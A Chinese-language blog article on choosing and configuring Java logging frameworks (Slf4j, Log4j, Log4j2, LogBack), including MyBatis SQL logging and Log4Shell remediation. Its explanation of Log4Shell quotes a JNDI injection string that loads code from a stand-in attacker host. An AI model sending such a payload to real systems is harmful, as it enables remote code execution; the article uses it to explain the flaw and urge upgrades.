ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Java日志框架选型与实战:Slf4j、Log4j、Log4j2、LogBack关系全解析

Java日志框架选型与实战:Slf4j、Log4j、Log4j2、LogBack关系全解析 搞日志架构这件事说大不大说小也不小。很多老铁在新项目初始化的时候用惯了Spring Boot自带的那套根本没意识到日志底层到底有几种选择也分不清Slf4j和LogBack到底是啥关系。等到哪天公司让搞日志平台、对接日志采集、要求在控制台把SQL输出调出来或者突然遇到log4j漏洞公告要排查升级才急急忙忙翻资料。我这些年帮项目组排查日志问题见得太多了光“为什么我引入log4j2日志不打印”这一个问题就能写一整篇排错笔记。今天就把Log4j、Log4j2、LogBack、Slf4j之间的来龙去脉一次说透。这几个东西从名字上看容易懵Log4j和Log4j2像迭代关系LogBack和Slf4j又犯迷糊再加上网上各种“必装三件套”一不小心就搞成依赖冲突现场。这篇文章会先把四个组件各自的定位讲清楚再把它们之间怎么组合、怎么选型、怎么在Maven项目里配置SQL输出到控制台以及Log4j2那个经典漏洞的前因后果全部聊明白。适合刚接触Java日志体系的后端开发也适合已经写了两三年业务代码但对日志依赖一知半解的朋友。1. 先认清四大件各自的定位门面、旧秀、嫡系、新王1.1 Slf4j是个“空壳”但它是整个体系里最关键的空壳Slf4j全称是Simple Logging Facade for Java直译过来就是“Java简单日志门面”。重点在“Facade”这个词它是门面、是接口、是约定它本身一行业务日志都打不出来。怎么理解你可以把它当成一个标准的USB接口协议。USB接口规定了怎么供电、怎么传数据、接口长什么样但你自己不实现具体的电压转换和数据协议。Slf4j就是日志世界的“接口规范”你在代码里只调用LoggerFactory.getLogger(xxx.class)和logger.info(...)至于日志是写到控制台、文件、还是走网络采集Slf4j完全不关心。这个抽象有什么用它解决了一个非常痛的问题如果代码直接写死Log4j、LogBack、JUL等具体实现万一哪天你发现日志性能不行要换框架就得把全项目里所有import org.apache.log4j.Logger全部替换一遍这种工作量在动辄几十个模块的项目里纯粹是灾难。而用Slf4j写日志底层实现可以在不修改业务代码的前提下通过调整依赖和配置文件来替换。所以记住第一句话代码里一律面向Slf4j写日志永远不要把具体日志框架的类直接New到业务代码里。1.2 Log4j 1.x曾经的巅峰如今该进博物馆了Log4j 1.x是我刚入行时最主流的Java日志组件Apache基金会出品。在2000年前后那个时代它几乎是Java日志的代名词后来也成了很多老系统的“历史包袱”。但Log4j 1.x在2015年被Apache正式宣布EOLEnd of Life之后不再维护。它的问题还挺多的性能不行同步打印在高并发下锁竞争严重配置复杂用的是properties写法架构上还有个著名的死锁问题某些极端情况下会直接把线程卡死而且因为停止维护安全漏洞也没人管了。我为什么说它是“历史包袱”你看看现在很多公司的存量系统就明白了。一些七八年前启动的项目pom里还是有log4j:log4j:1.2.17然后又引入了一堆依赖版本各异的第三方库里面又传递引用了不同版本的log4j。日志不打印还好一打印就是ClassNotFound或者NoSuchMethodError全是版本冲突惹的祸。1.3 LogBackSlf4j的“嫡长子”稳定可靠的老黄牛LogBack是Log4j的原作者Ceki Gülcü离开Apache后开发的下一代日志框架而且它跟Slf4j是同一个作者两者天然就是“亲儿子”关系。Slf4j作为门面LogBack作为实现这一套组合在可维护性和易用性上做得很到位。LogBack自带三个模块logback-core是基础模块logback-classic是Slf4j的标准实现logback-access用于集成Servlet容器提供HTTP访问日志。它支持XML配置、支持自动热加载配置文件、支持条件化配置比如根据环境切换日志级别这一切都让它在日常业务项目中特别顺手。Spring Boot默认日志栈就是Slf4j LogBack这也是很多新手渐渐把两者混为一谈的原因。其实你用Spring Boot开发就算完全不写任何日志配置控制台也有彩色日志输出那不是魔法是框架们帮你在底层把组合配好了。有人觉得LogBack性能不如Log4j2这句话放在高并发场景下是真的但对绝大多数业务系统来说LogBack完全够用而且它胜在省心、稳定、坑少。性能还没到瓶颈就急着去追异步日志的极致吞吐反而是给自己挖坑。1.4 Log4j2重写后的性能猛兽但也是话题中心很多人以为Log4j2就是Log4j 1.x的小版本升级其实这俩的底层实现完全不同。Log4j2是Apache在2014年推出的架构上借鉴了LogBack的优点又做了大量优化最突出的就是异步日志。Log4j2的异步日志基于LMAX Disruptor环形队列实现是一个无锁并发模型性能非常猛。官方给的数据是Async Logger比Log4j 1.x和LogBack都快很多在“每个线程只记录一个日志事件”的场景下吞吐量甚至比LogBack高一个量级。如果你的系统日志量巨大、对打印延迟要求高Log4j2几乎是必选项。但Log4j2在2021年年底爆出了Log4Shell漏洞CVE-2021-44228瞬间把整个Java生态吓出一身冷汗。这个漏洞影响范围极广而且利用链简单远程攻击者只需构造一段恶意字符串日志在打印时就可能触发JNDI注入然后执行任意命令。加上Log4j2在2.15.0之前版本都存在这个高危风险导致大量团队一夜之间紧急排查、升级、甚至直接迁移到LogBack。所以选型的时候性能是一回事安全维护成本和团队熟悉度又是一回事。2. 它们之间到底什么关系那种“一个接口多个实现”的关系2.1 门面和实现的分工逻辑简单给这四个组件分个类门面抽象Slf4j实现具体干活LogBack、Log4j2、Log4j 1.x、java.util.logging(JUL)、Apache Commons Logging(JCL)等代码里你只跟Slf4j打交道调用它的API记录日志。实际运行时Slf4j会通过“绑定器”找到一个底层实现框架真正把日志输出到目的地。这个“绑定器”就是一组slf4j-xxx的适配jar包。拿一个最标准的新项目来说Maven依赖长这样!-- Slf4j 门面 -- dependency groupIdorg.slf4j/groupId artifactIdslf4j-api/artifactId version2.0.13/version /dependency !-- LogBack 实现 -- dependency groupIdch.qos.logback/groupId artifactIdlogback-classic/artifactId version1.4.14/version /dependency dependency groupIdch.qos.logback/groupId artifactIdlogback-core/artifactId version1.4.14/version /dependency在引入logback-classic之后它会自动传递依赖slf4j-api所以代码里几乎只显式写logback-classic就够了。Slf4j的API负责编译期提供Logger接口LogBack的classic模块负责在运行时实现它两者通过“SPI机制”自动关联上。2.2 绑定关系是怎么“匹配”上的Slf4j 1.8之前通过StaticLoggerBinder类硬绑定1.8之后改成了SLF4JProvider机制但核心思路是一样的classpath里必须存在一个且仅一个“绑定实现类”来告诉Slf4j应该用谁干活。打个比方Slf4j说“我需要一个能打日志的伙计”LogBack举手说“我来”Log4j2也说“我来”两个都在Classpath里这时候代码一运行就会报警告SLF4J: Class path contains multiple SLF4J bindings.这种“多个绑定共存”的情况特别容易出现在一个项目里同时引用了多个第三方框架、各自传递依赖带了不同实现。排查的方法很笨但很有用在IDE里打开依赖分析查找slf4j-log4j12、log4j-slf4j-impl、logback-classic这几个坐标看哪些被你打进去了再通过exclusion排除掉多余的。2.3 常见组合方式对比组合门面实现Maven绑定包适用场景Spring Boot默认Slf4jLogBacklogback-classic绝大多数Java项目老牌经典Slf4jLog4j 1.xslf4j-log4j12古董项目维护异步高并发Slf4jLog4j2log4j-slf4j-impl高吞吐日志场景无实现兜底Slf4jSlf4j自带的简单实现slf4j-simple小工具、测试代码全部裸奔无无无日志直接不打印这里多说一句“全部裸奔”的情况。如果你只引了slf4j-api没有引入任何实现运行时大概率会看到SLF4J: No SLF4J providers were found. SLF4J: Defaulting to no-operation (NOP) logger provider看起来日志“失效”了但其实是被NOP空转吞掉了。这也是为什么很多同学新建Maven项目以后觉得代码里写了logger.info却什么也不输出——十有八九就是忘了引实现。3. 选型策略新项目、老项目、高并发项目分别怎么搭3.1 老项目维护别再硬挺Log4j 1.x了如果接手的老项目还在用log4j:log4j:1.2.x建议尽快做一次迁移。不需要把业务代码里所有org.apache.log4j.Logger立刻改掉最省力的方案是引入log4j-over-slf4j桥接包。这个包很有意思它里面所有类的包名和类名跟Log4j 1.x几乎一一对应但内部实现全部代理到Slf4j API。更绝的是你只需要把log4j依赖替换成log4j-over-slf4j原本那些还在用Logger.getLogger(MyClass.class)的老代码就能继续编译、继续运行而真正的日志输出已经被转发到Slf4j门面再由Slf4j转发给底层的LogBack或Log4j2。我实操的时候一般这么搞!-- 排除原始 log4j -- dependency groupIdlog4j/groupId artifactIdlog4j/artifactId version1.2.17/version scopeprovided/scope /dependency !-- 桥接包 -- dependency groupIdorg.slf4j/groupId artifactIdlog4j-over-slf4j/artifactId version2.0.13/version /dependency不过要小心一点即使全局替换了log4j-over-slf4j也要确保没有别的依赖传递引用回原版log4j。否则两边类同时存在Classloader先加载到哪个就有随机性日志行为会很诡异。3.2 新项目首选Slf4j LogBack够稳妥新项目只要没有极端性能需求我建议直接走Slf4j LogBack。理由有几个第一Spring Boot默认就是这个组合少做配置、少踩坑。第二LogBack的文档、教程、社区问答数量远多于Log4j2普通问题一搜就有解。第三LogBack的热加载配置非常方便改完logback.xml保存即生效不用重启进程。第四日志输出格式用pattern就能定义异步滚动、按天归档、日志大小限制都是现成能力。新项目的logback配置可以很简单我给过一个基准版本?xml version1.0 encodingUTF-8? configuration !-- 控制台输出 -- appender nameCONSOLE classch.qos.logback.core.ConsoleAppender encoder pattern%d{yyyy-MM-dd HH:mm:ss.SSS} %-5level [%thread] %logger{36} - %msg%n/pattern charsetUTF-8/charset /encoder /appender !-- 文件滚动输出 -- appender nameFILE classch.qos.logback.core.rolling.RollingFileAppender filelogs/app.log/file rollingPolicy classch.qos.logback.core.rolling.TimeBasedRollingPolicy fileNamePatternlogs/app.%d{yyyy-MM-dd}.log.gz/fileNamePattern maxHistory30/maxHistory /rollingPolicy encoder pattern%d{yyyy-MM-dd HH:mm:ss.SSS} %-5level [%thread] %logger{36} - %msg%n/pattern charsetUTF-8/charset /encoder /appender root levelINFO appender-ref refCONSOLE/ appender-ref refFILE/ /root /configuration这个配置不炫技但足够让应用“开机即用”。等业务复杂了再一点点加自定义Appender、过滤器、异步队列。3.3 高并发大流量场景Slf4j Log4j2 异步日志日志量大到一定程度同步日志的I/O就成了瓶颈。Log4j2的AsyncLogger把日志事件扔进环形队列由后台线程批量消费写入牺牲一点“日志实时性”换取吞吐量的大幅提升。Maven依赖这么配dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.20.0/version /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.20.0/version /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-slf4j2-impl/artifactId version2.20.0/version /dependency然后在log4j2.xml里开异步?xml version1.0 encodingUTF-8? Configuration statusWARN Appenders Async nameAsyncConsole AppenderRef refConsole/ /Async /Appenders Loggers Root levelINFO AppenderRef refAsyncConsole/ /Root /Loggers /Configuration如果追求更极限的性能还可以用AsyncLogger配合System.setProperty(log4j2.isThreadContextMapInheritable, true)这类的参数调整。但这些属于极端优化对绝大多数业务项目来说收益有限而且配置错了日志会丢、会乱序排查起来挺折磨人。我遇到过好几次团队把Log4j2异步日志当成银弹结果压测时发现线程上下文里没法正确打印TraceId追查了半天才发现是AsyncLogger在线程池场景下对ThreadContext的传递支持不如预期。还是那句话性能优化只有在真实瓶颈出现时才值得做日志打包更是如此。3.4 小工具、命令行应用slf4j-simple就够了有时候只是写个小工具、一个Spring Boot Starter之外的测试类没必要引完整的LogBack全家桶。Slf4j官方自带了一个极简实现slf4j-simple能做到控制台输出、默认INFO级别dependency groupIdorg.slf4j/groupId artifactIdslf4j-simple/artifactId version2.0.13/version /dependency好处是零配置可用坏处是不能滚动、没有文件输出、配置项极少。这个我一般只在临时脚本、demo代码里用正规项目从来不碰。4. 实操环节Maven项目里让SQL日志打到控制台4.1 日志级别是控制SQL输出的总开关热搜词里有一条“Maven项目logback配置文件 查看控制台输出的sql”这是新手特别常见的诉求在控制台看到MyBatis或者MyBatis-Plus执行的那条真实SQL以及拼好的参数。先说原理。框架打印SQL本质上也是走日志框架的LoggerMyBatis的SQL语句是由org.apache.ibatis包下的Logger输出的而MyBatis默认把SQL日志的级别定义在DEBUG上。所以只要日志实现允许org.apache.ibatis这个包名使用DEBUG级别输出SQL就能打在控制台上。Spring Boot默认root级别是INFODEBUG信息被滤掉了所以看不到SQL。破解方案就是在logback配置里针对MyBatis相关包把级别调低。logger nameorg.apache.ibatis levelDEBUG/ logger nameorg.mybatis levelDEBUG/ !-- 或者更具体到Mapper接口所在包 -- logger namecom.yourproject.mapper levelDEBUG/注意如果项目里用的是MyBatis-Plus的BaseMapperSQL是动态生成的那你最好把com.baomidou.mybatisplus也放进去。4.2 完整logback.xml示例SQL输出到控制台直接贴一份可用配置?xml version1.0 encodingUTF-8? configuration property nameLOG_PATTERN value%d{yyyy-MM-dd HH:mm:ss.SSS} %-5level [%thread] %logger{36} - %msg%n/ appender nameCONSOLE classch.qos.logback.core.ConsoleAppender encoder pattern${LOG_PATTERN}/pattern charsetUTF-8/charset /encoder /appender !-- MyBatis SQL 输出 -- logger nameorg.apache.ibatis levelDEBUG additivityfalse appender-ref refCONSOLE/ /logger root levelINFO appender-ref refCONSOLE/ /root /configuration这段配置里有个细节additivityfalse。如果不设这个属性默认是true表示子Logger的输出事件会继续向上传递给rootLogger导致SQL日志在控制台打印两遍——一遍是子Logger的Appender打的一遍是root的Appender打的。所以像这种“局部开启、全局默认”的Logger我会显式additivityfalse让SQL的输出只走指定Appender。4.3 把SQL里的语句和参数一起打出来有时候光是SQL语句还不够需要看到真正拼到SQL里的参数值。MyBatis底层使用的是org.apache.ibatis.logging.jdbc.PreparedStatementLogger它代理了PreparedStatement会在调用setString、setInt等方法时记录参数。但这条日志属于java.sql.PreparedStatement不是org.apache.ibatis总包名。所以如果你想看到预编译参数的实际值光对org.apache.ibatis开DEBUG还不一定全。再看具体一点org.apache.ibatis.executor输出SQL语句文本org.apache.ibatis.logging.jdbc.PreparedStatementLogger输出PreparedStatement的参数绑定值org.apache.ibatis.logging.jdbc.ConnectionLogger输出获取连接、开启事务等信息稳妥起见我一般直接对org.apache.ibatis.logging开DEBUGlogger nameorg.apache.ibatis.logging levelDEBUG additivityfalse appender-ref refCONSOLE/ /logger这样既能看语句又能看参数生产环境排查问题时特别有用。不过要注意SQL级别日志在生产环境长期开着会刷爆磁盘我一般只建议在开发、测试、问题排查阶段临时开用完尽快恢复到INFO。4.4 使用拦截器打印SQL的替代方案如果你的项目不想动日志级别有没有别的方式看SQL有那就是自定义MyBatis拦截器。我写过不少这种拦截器核心思路是在Executor的query和update方法上拦截拿到MappedStatement和参数对象后手动拼出SQL。这种方式的好处是不用依赖日志框架控制粒度更细甚至在打印的同时可以做执行耗时统计。但它的缺点也很明显要处理各种参数类型判断foreach、if动态SQL拼接出来可读性差而且它绕过了MyBatis内部的参数绑定机制容易拼写错误。日志级别那套方案能复用MyBatis自带的规则遇到复杂SQL不会翻车所以我个人更推荐新手先用DEBUG日志方案。4.5 配合全局日志框架查看慢SQL还有一种常见的诉求是看慢SQL。MyBatis没有内置慢SQL阈值但有个非常简单的实现思路用拦截器记录PreparedStatement执行时间超过阈值就告警。不过更多情况下业务团队会把数据库层面的慢查询日志开着再把应用日志跟TraceId关联两头一对照就能锁定是哪条业务链路的哪条SQL慢在哪儿。这些属于日志体系和技术监控的交叉应用了不展开太多但你可以把思路记下来日志不只是排错工具它做得好时本身就是一套操作型数据的价值源泉。5. 关于那个著名的Log4j2漏洞安全迁移要怎么做5.1 Log4Shell漏洞的技术本质2021年底爆出的CVE-2021-44228让全世界Java团队都紧张了一把。这个漏洞核心在于Log4j2的JndiLookup功能。Log4j2在格式化日志消息时默认会对${...}做插值处理如果消息里出现${jndi:ldap://evil.com/a}它就会尝试从指定的地址加载对象配合JNDI和LDAP协议攻击者可以让目标服务器远程加载恶意Java类并执行。这个漏洞为什么影响那么大因为利用了无需任何特殊前提的日志格式串注入用户输入往往会被记录到日志比如一个用户提交的User-Agent、账号名、请求参数这些都有可能被开发团队直接logger.info(...)打出来。攻击链条非常简单向任意会记录日志的入口发一条带恶意字符串的请求服务器日志系统打印时就会被攻击。Log4j2 2.0到2.14.1版本都受影响。Apache后面通过2.15.0加上了JndiLookup的默认禁用再到2.16.0移除了消息查找功能2.17.1又堵住了更多绕过方式。如果你的系统还在用老版本Log4j2第一优先级就是升级这不是可选项而是必选项。5.2 升级与迁移的实操路径升级Log4j2本身不复杂改Maven版本号就行dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.17.2/version /dependency但前提是这些依赖不是被第三方框架传递引入的。很多项目的Log4j2根本不在自己pom里而是某个中间件依赖间接带来的。所以排查的时候不要只看根pom要看最终打包出的依赖树mvn dependency:tree -Dincludesorg.apache.logging.log4j看到哪些模块传递引入了Log4j2再在该模块里加exclusion排除掉然后在自己的pom里显式引入安全版本。如果项目里日志本身还是用Log4j2而且你有权做更彻底的重构直接迁到LogBack也是一个合理选项。操作路径分三步第一把log4j-core、log4j-api、log4j-slf4j-impl从依赖里全部移除第二引入logback-classic和logback-core第三新建logback.xml覆盖原有日志配置。代码因为本来就走的Slf4j所以不需要改动。5.3 安全习惯要防的不止是Log4j2经历了Log4Shell之后很多团队养成了定期审计日志依赖的习惯。我这里也给出几个建议定期执行mvn dependency:tree把日志相关组件固定在安全版本上。排查供应链漏洞时重点看log4j-core、logback-classic、log4j-api这几个坐标是否被多个版本覆盖。禁止在生产环境输出DEBUG级别的SQL防止敏感数据刷屏。日志打印时尽量避免拼接用户输入到JSON字符串里对所有外部输入做好脱敏。能用占位符{}就不要用字符串拼接这既是为了性能也是为了避免日志内容被故意构造。最后这一点很多朋友容易忽略。logger.info(user input: userInput)和logger.info(user input: {}, userInput)看起来差不多但前者在日志框架判断级别为WARN时字符串拼接照样执行白白浪费CPU后者只有在真正需要输出时才会去格式化性能好得多。6. 日志框架常见问题与排错速查6.1 Classpath里有多个SLF4J绑定这个报错是SLF4J极其有名的标志性警告。出现时机一般是启动时控制台打三行类似内容SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/.../logback-classic-1.2.3.jar!/org/slf4j/impl/StaticLoggerBinder.class] SLF4J: Found binding in [jar:file:/.../slf4j-log4j12-1.7.25.jar!/org/slf4j/impl/StaticLoggerBinder.class]解决思路是先看依赖树找出到底是谁带进来的重复实现再用exclusion排除。常见肇事者某个老框架依赖了slf4j-log4j12而Spring Boot默认带LogBack。排除时不要把真正的slf4j-api排掉只排除“具体实现”那个绑定包因为api是门面还需要留着。侥幸地讲如果两个绑定实现是同一个框架的不同版本有时候程序还能跑起来但这是概率事件不建议赌。日志框架这种底层基础设施最忌讳的就是“依赖莫名其妙日志时有时无”。6.2 日志不输出SQL怎么查SQL出不来从我经验来看九成是这三个原因第一level设置没生效。检查logback.xml里有没有把CONSOLE这个appender指到org.apache.ibatis下。如果你只改root为DEBUG而root的appender没正常配置当然也看不见。第二additivity属性造成“重复输出”或“丢失输出”。用additivityfalse后子Logger不会再向root透传如果你子Logger没有配Appender那这个包名的日志就彻底消失了。我见过有人把logger nameorg.apache.ibatis levelDEBUG additivityfalse/写出来后发现SQL没了正是这个逻辑。第三配置文件名不对。LogBack默认加载logback.xml如果你放的是logback-spring.xml而Spring Boot没正确识别或者没有激活对应profile自然白搭。另外还要看spring.profiles.active跟logback-spring.xml里的springProfile块是否匹配。我可以给一个排查命令mvn clean package -DskipTests unzip -p target/你的应用.jar BOOT-INF/classes/logback.xml | head -50确认最终打包里的配置文件到底长什么样很多“本地可以服务器不行”的问题都是这一步暴露出来的。6.3 五花八门的ClassNotFound和NoSuchMethodErrorLoggerFactory.getLogger行抛NoClassDefFoundError通常是没引slf4j-apijava.lang.NoSuchMethodError: org.slf4j.helpers.Util.safeGetSystemProperty大概率是slf4j-api和logback版本不匹配。前者太旧后者太新老API没有新方法。处理原则很简单slf4j-api、logback-classic、logback-core三者的版本号尽量保持大版本配套。你可以在Maven的dependencyManagement里统一管理版本或者在Spring Boot项目里直接沿用bom里约束的版本不要手动乱改。6.4 日志文件不滚动磁盘爆了按天滚动的配置写对了但生产上还是内存越涨越满通常是fileNamePattern的问题。比如fileNamePatternlogs/app.%d{yyyy-MM-dd}.log/fileNamePattern这种写法只能按天归档如果单天日志量巨大单个文件还是很大。建议组合大小时间rollingPolicy classch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy fileNamePatternlogs/app.%d{yyyy-MM-dd}.%i.log.gz/fileNamePattern maxFileSize100MB/maxFileSize maxHistory30/maxHistory totalSizeCap20GB/totalSizeCap /rollingPolicytotalSizeCap是个好东西它限制了所有归档日志的总大小上限老日志会被自动清理。很多人容易漏掉这个参数最终磁盘被日志塞满运维群里炸锅。6.5 控制台中文乱码日志中文乱码的核心是编码不一致。代码里用System.out或某些库输出GBK字节而ConsoleAppender默认按平台编码读取两边对不上就成了乱码。解决方式是在encoder处定义输出编码encoder charsetUTF-8/charset pattern%d{yyyy-MM-dd HH:mm:ss.SSS} %-5level [%thread] %logger{36} - %msg%n/pattern /encoder同时确保日志文件路径下的控制台终端本身用的是UTF-8编码。Windows下IDEA控制台尤其容易踩这个坑。6.6 综合排错清单整理一个速查表方便大家遇到问题对照着来现象可能原因处置建议启动提示多个SLF4J绑定依赖树里存在多个slf4j绑定实现排除多余绑定包保留一个启动提示No SLF4J providers只有slf4j-api没有具体实现引入logback-classic或log4j-slf4j-impl日志什么都不打印配置文件缺失或root级别设太高/被NOP检查classpath和配置文件控制台SQL不显示MyBatis包级别不是DEBUG在logback.xml中开DEBUGSQL打印两遍log4j的additivity默认穿透到root子Logger设置additivityfalse文件日志不滚动RollingPolicy缺totalSizeCap/maxFileSize改正滚动策略中文乱码Appender编码未显式指定UTF-8encoder加charsetUTF-8日志能打但丢数据异步Appender队列不满时丢弃策略配置DiscardingAsyncEventRouter等参数7. 谈谈我踩过几次坑之后积累的配置习惯不管项目最终选LogBack还是Log4j2建议在开发环境就配置好相对完整的日志体系而不是等问题浮出水面再补齐。日志这种事往往是在系统第一次“神秘异常”时才会被认真对待可到那时候缺的日志链路补起来很难因为日志是“事后”才需要的东西需要前置打好埋点。我个人的最低标准是这样第一必须有一个全局TraceId贯穿一次请求的日志这样跨线程、跨模块排错才有效第二应用启动参数、关键配置变更、异常堆栈这些必须打印完整第三SQL级别日志仅在开发、测试环境开启生产保持INFO第四生产保留至少30天的滚动日志按天归档并压缩第五日志文件路径跟应用目录解耦方便运维统一采集。再者如果项目里已经混入了多个日志门面比如同时有Slf4j和JCL(Commons Logging)我一般会用jcl-over-slf4j、log4j-over-slf4j这些桥接包把历史API全部桥接到统一的Slf4j上这样日志最终只会走一条链路。说白了就是“肉烂在锅里”不管业务代码和历史遗留代码用什么API最终都归到一个实现下。有朋友问到底是不是一定要用Slf4j如果项目是零启动、纯Demo那确实用LogBack直接写也没问题。但任何一个准备长期维护、多人协作的项目我还是坚持用Slf4j门面。因为技术上“面向接口编程”这句话在日志这块体现得最直接成本几乎为零收益却是持续性的。最后说点个人体会。日志框架这事看起来是个工具链小事但选型选得好后面排查问题轻松很多选得差每次压测都提心吊胆。我见过太多因为log4j漏洞临时换框架、因为多绑定报警排除依赖排了半天、因为SQL日志配置不对浪费一个下午的案例。希望你读完这篇一次把事情理清楚少走这些弯路。
返回列表